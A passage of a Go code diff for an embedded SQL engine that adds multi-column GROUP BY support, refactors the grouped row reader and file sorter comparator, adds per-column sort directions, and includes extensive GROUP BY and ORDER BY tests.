GROUP BY val1", nil) - require.ErrorIs(t, err, ErrLimitedGroupBy) + //_, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1", nil) + //require.ErrorIs(t, err, ErrLimitedGroupBy) r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1 ORDER BY val1", nil) require.NoError(t, err) @@ -4284,6 +4514,356 @@ func TestCount(t *testing.T) { require.NoError(t, err) } +func TestGroupBy(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, title VARCHAR[128], age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) + require.NoError(t, err) + + t.Run("selecting aggregations only with empty table should return zero values", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age), AVG(age), MIN(title), MAX(title) FROM table1", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(0)) + require.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(0)) + require.Equal(t, rows[0].ValuesByPosition[2].RawValue(), int64(0)) + require.Equal(t, rows[0].ValuesByPosition[3].RawValue(), "") + require.Equal(t, rows[0].ValuesByPosition[4].RawValue(), "") + }) + + t.Run("query with empty table and group by should return no rows", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age) FROM table1 GROUP BY title", nil) + require.NoError(t, err) + require.Empty(t, rows) + }) + + t.Run("columns should appear in group by or aggregations", func(t *testing.T) { + _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), age FROM table1", nil) + require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) + + _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age), title FROM table1 GROUP BY active", nil) + require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) + + _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age) FROM table1 GROUP BY active ORDER BY title", nil) + require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) + + _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), MIN(age) FROM table1 GROUP BY age ORDER BY MAX(age) DESC", nil) + require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) + }) + + rowCount := 10 + + params := make(map[string]interface{}, 3) + for n := 0; n < rowCount; n++ { + m := n + 1 + for i := 1; i <= m; i++ { + active := m%2 == 0 + params["title"] = fmt.Sprintf("title%d", m) + params["age"] = i + params["active"] = active + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (title, age, active) VALUES (@title, @age, @active)", params) + require.NoError(t, err) + } + } + + t.Run("simple group by", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) + + reader, err := engine.Query(context.Background(), nil, "SELECT title, COUNT(*), SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 GROUP BY title", nil) + require.NoError(t, err) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.True(t, specs.Index.IsPrimary()) + require.False(t, specs.DescOrder) + + rows, err = ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) + require.NoError(t, reader.Close()) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + res, err := rows[i].ValuesByPosition[0].Compare(rows[j].ValuesByPosition[0]) + require.NoError(t, err) + return res < 0 + }) + require.True(t, isSorted) + + for _, row := range rows { + m, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), "title"), 10, 64) + require.NoError(t, err) + require.Equal(t, int64(m), row.ValuesByPosition[1].RawValue().(int64)) + require.Equal(t, int64(m*(m+1)/2), row.ValuesByPosition[2].RawValue().(int64)) + require.Equal(t, int64(1), row.ValuesByPosition[3].RawValue().(int64)) + require.Equal(t, int64(m), row.ValuesByPosition[4].RawValue().(int64)) + require.Equal(t, int64((m+1)/2), row.ValuesByPosition[5].RawValue().(int64)) + } + }) + + t.Run("aggregated functions with no group by", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) + }) + + t.Run("group by with no aggregations should select distinct values", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT age FROM table1 GROUP BY age", nil) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + for i, row := range rows { + require.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+1)) + } + }) + + t.Run("group by with order by", func(t *testing.T) { + t.Run("group by fields are covered by order by fields", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title FROM table1 GROUP BY title ORDER BY title", nil) + require.NoError(t, err) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.True(t, specs.Index.IsPrimary()) + require.False(t, specs.DescOrder) + + orderBy := reader.OrderBy() + require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "title")) + require.NoError(t, reader.Close()) + }) + + t.Run("order by fields are covered by group by fields", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY title DESC", nil) + require.NoError(t, err) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.True(t, specs.Index.IsPrimary()) + require.False(t, specs.DescOrder) + + orderBy := reader.OrderBy() + require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "title")) + require.Equal(t, orderBy[1].Selector(), EncodeSelector("", "table1", "age")) + + require.NoError(t, reader.Close()) + }) + + t.Run("order by fields dont't cover group by fields", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY age DESC, title DESC", nil) + require.NoError(t, err) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.True(t, specs.Index.IsPrimary()) + require.False(t, specs.DescOrder) + + orderBy := reader.OrderBy() + require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "age")) + require.Equal(t, orderBy[1].Selector(), EncodeSelector("", "table1", "title")) + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount*(rowCount+1)/2) + require.NoError(t, reader.Close()) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + res, err := rows[i].ValuesByPosition[1].Compare(rows[j].ValuesByPosition[1]) + require.NoError(t, err) + return res > 0 + }) + require.True(t, isSorted) + + for j, n := 0, 0; n < rowCount; n++ { + for i := 0; i <= n; i++ { + require.Equal(t, int64(rowCount-n), rows[j].ValuesByPosition[1].RawValue()) + j++ + } + } + }) + + t.Run("order by aggregated function", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), MAX(age) FROM table1 ORDER BY MAX(age)", nil) + require.NoError(t, err) + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) + require.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(rowCount)) + require.NoError(t, reader.Close()) + + reader, err = engine.Query(context.Background(), nil, "SELECT title, COUNT(*), SUM(age) FROM table1 GROUP BY title ORDER BY SUM(table1.age) DESC", nil) + require.NoError(t, err) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.True(t, specs.Index.IsPrimary()) + require.False(t, specs.DescOrder) + + orderBy := reader.OrderBy() + require.Equal(t, orderBy[0].Selector(), EncodeSelector("SUM", "table1", "age")) + + rows, err = ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + require.NoError(t, reader.Close()) + + for i, row := range rows { + n := rowCount - i + require.Len(t, row.ValuesByPosition, 3) + require.Equal(t, row.ValuesByPosition[0].RawValue(), fmt.Sprintf("title%d", n)) + require.Equal(t, row.ValuesByPosition[1].RawValue(), int64(n)) + require.Equal(t, row.ValuesByPosition[2].RawValue(), int64(n*(n+1)/2)) + } + }) + }) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(age)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(title, age)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(title, age, id)", nil) + require.NoError(t, err) + + t.Run("group by with indexes", func(t *testing.T) { + t.Run("group by covered by index", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT title, COUNT(*) FROM table1 GROUP BY title", nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, 2) + + require.Equal(t, specs.Index.cols[0].Name(), "title") + require.Equal(t, specs.Index.cols[1].Name(), "age") + + for _, row := range rows { + m, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), "title"), 10, 64) + require.NoError(t, err) + require.Equal(t, row.ValuesByPosition[1].RawValue().(int64), m) + } + }) + + t.Run("group by and order by covered by index", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age, id FROM table1 GROUP BY title, age, id ORDER BY title DESC, id ASC, age ASC", nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount*(rowCount+1)/2) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, 3) + + require.Equal(t, specs.Index.cols[0].Name(), "title") + require.Equal(t, specs.Index.cols[1].Name(), "age") + require.Equal(t, specs.Index.cols[2].Name(), "id") + + for _, row := range rows { + require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) + } + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age"), EncodeSelector("", "table1", "id")}, []int{-1, 1, 1}) + }) + + t.Run("index covers group by but not order by", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age FROM table1 GROUP BY title, age ORDER BY age DESC", nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount*(rowCount+1)/2) + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.Index.cols, 2) + + require.Equal(t, specs.Index.cols[0].Name(), "title") + require.Equal(t, specs.Index.cols[1].Name(), "age") + + for _, row := range rows { + require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) + } + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}) + }) + + t.Run("preferred index doesn't cover group by and order by", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age FROM table1 USE INDEX ON(age) GROUP BY title, age ORDER BY age DESC", nil) + require.NoError(t, err) + defer reader.Close() + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.groupBySortColumns, 2) + require.Len(t, specs.orderBySortCols, 1) + require.Len(t, specs.Index.cols, 1) + require.Equal(t, specs.Index.cols[0].Name(), "age") + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount*(rowCount+1)/2) + + for _, row := range rows { + require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) + } + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}) + }) + + t.Run("index covers group by and order by because of unitary filter", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT COUNT(*), title, age FROM table1 WHERE title = 'title%d' GROUP BY title, age ORDER BY age DESC", rowCount), nil) + require.NoError(t, err) + defer reader.Close() + + specs := reader.ScanSpecs() + require.NotNil(t, specs.Index) + require.Len(t, specs.groupBySortColumns, 0) + require.Len(t, specs.orderBySortCols, 0) + + require.Len(t, specs.Index.cols, 2) + require.Equal(t, specs.Index.cols[0].Name(), "title") + require.Equal(t, specs.Index.cols[1].Name(), "age") + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + expectedTitle := fmt.Sprintf("title%d", rowCount) + for i, row := range rows { + require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) + require.Equal(t, row.ValuesByPosition[1].RawValue().(string), expectedTitle) + require.Equal(t, row.ValuesByPosition[2].RawValue().(int64), int64(rowCount-i)) + } + }) + }) + + t.Run("group by with subquery", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT COUNT(*), title FROM (SELECT * FROM table1 WHERE title = 'title%d') GROUP BY title", rowCount), nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount)) + }) +} + func TestGroupByHaving(t *testing.T) { engine := setupCommonTest(t) @@ -4311,30 +4891,23 @@ func TestGroupByHaving(t *testing.T) { require.ErrorIs(t, err, ErrHavingClauseRequiresGroupClause) r, err := engine.Query(context.Background(), nil, ` - SELECT active, COUNT(*), SUM(age1) - FROM table1 - WHERE active != null - GROUP BY active - HAVING AVG(age) >= MIN(age) - ORDER BY active`, nil) - require.NoError(t, err) - - _, err = r.Read(context.Background()) + SELECT active, COUNT(*), SUM(age1) + FROM table1 + WHERE active != null + GROUP BY active + HAVING AVG(age) >= MIN(age) + ORDER BY active`, nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - - err = r.Close() - require.NoError(t, err) + require.Nil(t, r) r, err = engine.Query(context.Background(), nil, ` - SELECT active, COUNT(*), SUM(age1) - FROM table1 - WHERE AVG(age) >= MIN(age) - GROUP BY active - ORDER BY active`, nil) - require.NoError(t, err) - - err = r.Close() - require.NoError(t, err) + SELECT active, COUNT(*), SUM(age1) + FROM table1 + WHERE AVG(age) >= MIN(age) + GROUP BY active + ORDER BY active`, nil) + require.ErrorIs(t, err, ErrColumnDoesNotExist) + require.Nil(t, r) r, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(id) FROM table1 GROUP BY active ORDER BY active", nil) require.NoError(t, err) @@ -4346,11 +4919,11 @@ func TestGroupByHaving(t *testing.T) { require.NoError(t, err) r, err = engine.Query(context.Background(), nil, ` - SELECT active, COUNT(*) - FROM table1 - GROUP BY active - HAVING AVG(age) >= MIN(age1) - ORDER BY active`, nil) + SELECT active, COUNT(*) + FROM table1 + GROUP BY active + HAVING AVG(age) >= MIN(age1) + ORDER BY active`, nil) require.NoError(t, err) _, err = r.Read(context.Background()) @@ -4363,14 +4936,13 @@ func TestGroupByHaving(t *testing.T) { SELECT active, COUNT(*) as c, MIN(age), MAX(age), AVG(age), SUM(age) FROM table1 GROUP BY active - HAVING COUNT(*) <= SUM(age) AND + HAVING COUNT(*) <= SUM(age) AND MIN(age) <= MAX(age) AND AVG(age) <= MAX(age) AND MAX(age) < SUM(age) AND AVG(age) >= MIN(age) AND SUM(age) > 0 ORDER BY active DESC`, nil) - require.NoError(t, err) _, err = r.Columns(context.Background()) @@ -5568,7 +6140,6 @@ func TestIndexingNullableColumns(t *testing.T) { }) t.Run("succeed adding null columns as the second indexed column", func(t *testing.T) { - exec(t, "INSERT INTO table1(v1,v2) VALUES(1, null)") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2", diff --git a/embedded/sql/file_sort.go b/embedded/sql/file_sort.go index f459a8ad3f..66a71659f4 100644 --- a/embedded/sql/file_sort.go +++ b/embedded/sql/file_sort.go @@ -33,7 +33,7 @@ type sortedChunk struct { type fileSorter struct { colPosBySelector map[string]int colTypes []string - cmp func(r1, r2 Tuple) bool + cmp func(r1, r2 Tuple) int tx *SQLTx sortBufSize int @@ -196,7 +196,7 @@ func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error } var rawData []byte - if s.cmp(t1, t2) { + if s.cmp(t1, t2) < 0 { rawData = lr.rowBuf.Bytes() t1 = nil } else { @@ -291,12 +291,12 @@ func (r *fileRowReader) Read() (*Row, error) { return row, nil } -func decodeValues(data []byte, cols []string) ([]TypedValue, error) { - values := make([]TypedValue, len(cols)) +func decodeValues(data []byte, colTypes []SQLValueType) ([]TypedValue, error) { + values := make([]TypedValue, len(colTypes)) var voff int - for i, col := range cols { - v, n, err := DecodeValue(data[voff:], col) + for i, col := range colTypes { + v, n, err := DecodeNullableValue(data[voff:], col) if err != nil { return nil, err } @@ -319,7 +319,7 @@ func (s *fileSorter) sortBuffer() { r1 := buf[i] r2 := buf[j] - return s.cmp(r1.ValuesByPosition, r2.ValuesByPosition) + return s.cmp(r1.ValuesByPosition, r2.ValuesByPosition) < 0 }) } @@ -370,7 +370,7 @@ func encodeRow(r *Row) ([]byte, error) { buf.Write([]byte{0, 0}) // make room for size field for _, v := range r.ValuesByPosition { - rawValue, err := EncodeValue(v, v.Type(), -1) + rawValue, err := EncodeNullableValue(v, v.Type(), -1) if err != nil { return nil, err } diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 92e3027729..b2a7d5c9d4 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -27,30 +27,31 @@ import ( type groupedRowReader struct { rowReader RowReader - selectors []Selector + selectors []Selector + groupByCols []*ColSelector + cols []ColDescriptor - groupBy []*ColSelector - - currRow *Row - nonEmpty bool + currRow *Row + empty bool } func newGroupedRowReader(rowReader RowReader, selectors []Selector, groupBy []*ColSelector) (*groupedRowReader, error) { - if rowReader == nil || len(selectors) == 0 || len(groupBy) > 1 { + if rowReader == nil || len(selectors) == 0 { return nil, ErrIllegalArguments } - // TODO: leverage multi-column indexing - if len(groupBy) == 1 && - rowReader.OrderBy()[0].Selector() != EncodeSelector(groupBy[0].resolve(rowReader.TableAlias())) { - return nil, ErrLimitedGroupBy + gr := &groupedRowReader{ + rowReader: rowReader, + selectors: selectors, + groupByCols: groupBy, + empty: true, } - return &groupedRowReader{ - rowReader: rowReader, - selectors: selectors, - groupBy: groupBy, - }, nil + cols, err := gr.columns() + if err == nil { + gr.cols = cols + } + return gr, err } func (gr *groupedRowReader) onClose(callback func()) { @@ -74,18 +75,29 @@ func (gr *groupedRowReader) ScanSpecs() *ScanSpecs { } func (gr *groupedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { - colsBySel, err := gr.colsBySelector(ctx) + return gr.cols, nil +} + +func (gr *groupedRowReader) columns() ([]ColDescriptor, error) { + colsBySel, err := gr.colsBySelector(context.Background()) if err != nil { return nil, err } - colsByPos := make([]ColDescriptor, len(gr.selectors)) - - for i, sel := range gr.selectors { + selectorMap := make(map[string]bool) + colsByPos := make([]ColDescriptor, 0, len(gr.selectors)) + for _, sel := range gr.selectors { encSel := EncodeSelector(sel.resolve(gr.rowReader.TableAlias())) - colsByPos[i] = colsBySel[encSel] + colsByPos = append(colsByPos, colsBySel[encSel]) + selectorMap[encSel] = true } + for _, col := range gr.groupByCols { + sel := EncodeSelector(col.resolve(gr.rowReader.TableAlias())) + if !selectorMap[sel] { + colsByPos = append(colsByPos, colsBySel[sel]) + } + } return colsByPos, nil } @@ -121,18 +133,13 @@ func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColD return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } - if aggFn == MAX || aggFn == MIN { - colDescriptors[encSel] = colDesc - } else { - // SUM, AVG - colDescriptors[encSel] = des - } + des.Type = colDesc.Type + colDescriptors[encSel] = des } - return colDescriptors, nil } -func allAgregations(selectors []Selector) bool { +func allAggregations(selectors []Selector) bool { for _, sel := range selectors { _, isAggregation := sel.(*AggColSelector) if !isAggregation { @@ -188,63 +195,25 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := gr.rowReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { - if !gr.nonEmpty && allAgregations(gr.selectors) { - // special case when all selectors are aggregations - zeroRow := &Row{ - ValuesByPosition: make([]TypedValue, len(gr.selectors)), - ValuesBySelector: make(map[string]TypedValue, len(gr.selectors)), - } - - colsBySelector, err := gr.colsBySelector(ctx) - if err != nil { - return nil, err - } - - for i, sel := range gr.selectors { - aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, table, col) - - var zero TypedValue - if aggFn == COUNT { - zero = zeroForType(IntegerType) - } else { - zero = zeroForType(colsBySelector[encSel].Type) - } - - zeroRow.ValuesByPosition[i] = zero - zeroRow.ValuesBySelector[encSel] = zero - } - - gr.nonEmpty = true - - return zeroRow, nil - } - - if gr.currRow == nil { - return nil, err - } - - r := gr.currRow - gr.currRow = nil - - return r, nil + return gr.emitCurrentRow(ctx) } + if err != nil { return nil, err } - gr.nonEmpty = true + gr.empty = false if gr.currRow == nil { gr.currRow = row - err = gr.initAggregations() + err = gr.initAggregations(gr.currRow) if err != nil { return nil, err } continue } - compatible, err := gr.currRow.compatible(row, gr.groupBy, gr.rowReader.TableAlias()) + compatible, err := gr.currRow.compatible(row, gr.groupByCols, gr.rowReader.TableAlias()) if err != nil { return nil, err } @@ -253,104 +222,28 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { r := gr.currRow gr.currRow = row - err = gr.initAggregations() + err = gr.initAggregations(gr.currRow) if err != nil { return nil, err } - return r, nil } // Compatible rows get merged - for _, v := range gr.currRow.ValuesBySelector { - aggV, isAggregatedValue := v.(AggregatedValue) - - if isAggregatedValue { - if aggV.ColBounded() { - val, exists := row.ValuesBySelector[aggV.Selector()] - if !exists { - return nil, ErrColumnDoesNotExist - } - - err = aggV.updateWith(val) - if err != nil { - return nil, err - } - } - - if !aggV.ColBounded() { - err = aggV.updateWith(nil) - if err != nil { - return nil, err - } - } - } + err = updateRow(gr.currRow, row) + if err != nil { + return nil, err } } } -func (gr *groupedRowReader) initAggregations() error { - // augment row with aggregated values - for _, sel := range gr.selectors { - aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) - - encSel := EncodeSelector(aggFn, table, col) - - var v TypedValue - - switch aggFn { - case COUNT: - { - if col != "*" { - return ErrLimitedCount - } - - v = &CountValue{sel: EncodeSelector("", table, col)} - } - case SUM: - { - v = &SumValue{ - val: &NullValue{t: AnyType}, - sel: EncodeSelector("", table, col), - } - } - case MIN: - { - v = &MinValue{ - val: &NullValue{t: AnyType}, - sel: EncodeSelector("", table, col), - } - } - case MAX: - { - v = &MaxValue{ - val: &NullValue{t: AnyType}, - sel: EncodeSelector("", table, col), - } - } - case AVG: - { - v = &AVGValue{ - s: &NullValue{t: AnyType}, - sel: EncodeSelector("", table, col), - } - } - default: - { - continue - } - } - - gr.currRow.ValuesByPosition = append(gr.currRow.ValuesByPosition, v) - gr.currRow.ValuesBySelector[encSel] = v - } - - for _, v := range gr.currRow.ValuesBySelector { +func updateRow(currRow, newRow *Row) error { + for _, v := range currRow.ValuesBySelector { aggV, isAggregatedValue := v.(AggregatedValue) if isAggregatedValue { if aggV.ColBounded() { - val, exists := gr.currRow.ValuesBySelector[aggV.Selector()] + val, exists := newRow.ValuesBySelector[aggV.Selector()] if !exists { return ErrColumnDoesNotExist } @@ -369,10 +262,132 @@ func (gr *groupedRowReader) initAggregations() error { } } } - return nil } +func (gr *groupedRowReader) emitCurrentRow(ctx context.Context) (*Row, error) { + if gr.empty && allAggregations(gr.selectors) && len(gr.groupByCols) == 0 { + zr, err := gr.zeroRow(ctx) + if err != nil { + return nil, err + } + + gr.empty = false + return zr, nil + } + + if gr.currRow == nil { + return nil, ErrNoMoreRows + } + + r := gr.currRow + gr.currRow = nil + + return r, nil +} + +func (gr *groupedRowReader) zeroRow(ctx context.Context) (*Row, error) { + // special case when all selectors are aggregations + zeroRow := &Row{ + ValuesByPosition: make([]TypedValue, len(gr.selectors)), + ValuesBySelector: make(map[string]TypedValue, len(gr.selectors)), + } + + colsBySelector, err := gr.colsBySelector(ctx) + if err != nil { + return nil, err + } + + for i, sel := range gr.selectors { + aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) + encSel := EncodeSelector(aggFn, table, col) + + var zero TypedValue + if aggFn == COUNT { + zero = zeroForType(IntegerType) + } else { + zero = zeroForType(colsBySelector[encSel].Type) + } + + zeroRow.ValuesByPosition[i] = zero + zeroRow.ValuesBySelector[encSel] = zero + } + return zeroRow, nil +} + +func (gr *groupedRowReader) initAggregations(row *Row) error { + // augment row with aggregated values + for _, sel := range gr.selectors { + aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) + v, err := initAggValue(aggFn, table, col) + if err != nil { + return err + } + + if v == nil { + continue + } + + encSel := EncodeSelector(aggFn, table, col) + row.ValuesBySelector[encSel] = v + } + + for i, col := range gr.cols { + v := row.ValuesBySelector[col.Selector()] + + if i < len(row.ValuesByPosition) { + row.ValuesByPosition[i] = v + } else { + row.ValuesByPosition = append(row.ValuesByPosition, v) + } + } + row.ValuesByPosition = row.ValuesByPosition[:len(gr.cols)] + return updateRow(row, row) +} + +func initAggValue(aggFn, table, col string) (TypedValue, error) { + var v TypedValue + switch aggFn { + case COUNT: + { + if col != "*" { + return nil, ErrLimitedCount + } + + v = &CountValue{sel: EncodeSelector("", table, col)} + } + case SUM: + { + v = &SumValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", table, col), + } + } + case MIN: + { + v = &MinValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", table, col), + } + } + case MAX: + { + v = &MaxValue{ + val: &NullValue{t: AnyType}, + sel: EncodeSelector("", table, col), + } + } + case AVG: + { + v = &AVGValue{ + s: &NullValue{t: AnyType}, + sel: EncodeSelector("", table, col), + } + } + } + return v, nil +} + func (gr *groupedRowReader) Close() error { return gr.rowReader.Close() } diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index cfeaf67526..79ee7df449 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1150,6 +1150,29 @@ func TestSelectStmt(t *testing.T) { }}, expectedError: nil, }, + { + input: "SELECT COUNT(*), SUM(age) FROM table1 ORDER BY SUM(age)", + expectedOutput: []SQLStmt{ + &SelectStmt{ + distinct: false, + selectors: []Selector{ + &AggColSelector{aggFn: "COUNT", col: "*"}, + &AggColSelector{aggFn: "SUM", col: "age"}, + }, + ds: &tableRef{table: "table1"}, + where: nil, + orderBy: []*OrdCol{ + { + sel: &AggColSelector{ + aggFn: "SUM", + col: "age", + as: "", + }, + }, + }, + }, + }, + }, } for i, tc := range testCases { diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 7c0a844bad..dba4a891f1 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -41,11 +41,12 @@ type RowReader interface { } type ScanSpecs struct { - Index *Index - rangesByColID map[uint32]*typedValueRange - IncludeHistory bool - DescOrder bool - SortRequired bool + Index *Index + rangesByColID map[uint32]*typedValueRange + IncludeHistory bool + DescOrder bool + groupBySortColumns []*OrdCol + orderBySortCols []*OrdCol } type Row struct { diff --git a/embedded/sql/sort_reader.go b/embedded/sql/sort_reader.go index 62c8a97666..1822e84328 100644 --- a/embedded/sql/sort_reader.go +++ b/embedded/sql/sort_reader.go @@ -20,19 +20,25 @@ import ( "context" ) +type sortDirection int8 + +const ( + sortDirectionDesc sortDirection = -1 + sortDirectionAsc sortDirection = 1 +) + type sortRowReader struct { rowReader RowReader - selectors []Selector + ordCols []*OrdCol orderByDescriptors []ColDescriptor sortKeysPositions []int - desc bool sorter fileSorter resultReader resultReader } -func newSortRowReader(rowReader RowReader, selectors []Selector, desc bool) (*sortRowReader, error) { - if rowReader == nil || len(selectors) == 0 { +func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, error) { + if rowReader == nil || len(ordCols) == 0 { return nil, ErrIllegalArguments } @@ -51,14 +57,16 @@ func newSortRowReader(rowReader RowReader, selectors []Selector, desc bool) (*so return nil, err } - sortKeysPositions := getSortKeysPositions(colPosBySelector, selectors, rowReader.TableAlias()) + sortKeysPositions, err := getSortKeysPositions(colPosBySelector, ordCols, rowReader.TableAlias()) + if err != nil { + return nil, err + } tx := rowReader.Tx() sr := &sortRowReader{ rowReader: rowReader, orderByDescriptors: getOrderByDescriptors(descriptors, sortKeysPositions), - selectors: selectors, - desc: desc, + ordCols: ordCols, sortKeysPositions: sortKeysPositions, sorter: fileSorter{ colPosBySelector: colPosBySelector, @@ -69,15 +77,26 @@ func newSortRowReader(rowReader RowReader, selectors []Selector, desc bool) (*so }, } - sr.sorter.cmp = func(t1, t2 Tuple) bool { - k1 := sr.extractSortKey(t1) - k2 := sr.extractSortKey(t2) + directions := make([]sortDirection, len(ordCols)) + for i, col := range ordCols { + directions[i] = sortDirectionAsc + if col.descOrder { + directions[i] = sortDirectionDesc + } + } + + k1 := make(Tuple, len(sortKeysPositions)) + k2 := make(Tuple, len(sortKeysPositions)) - res, 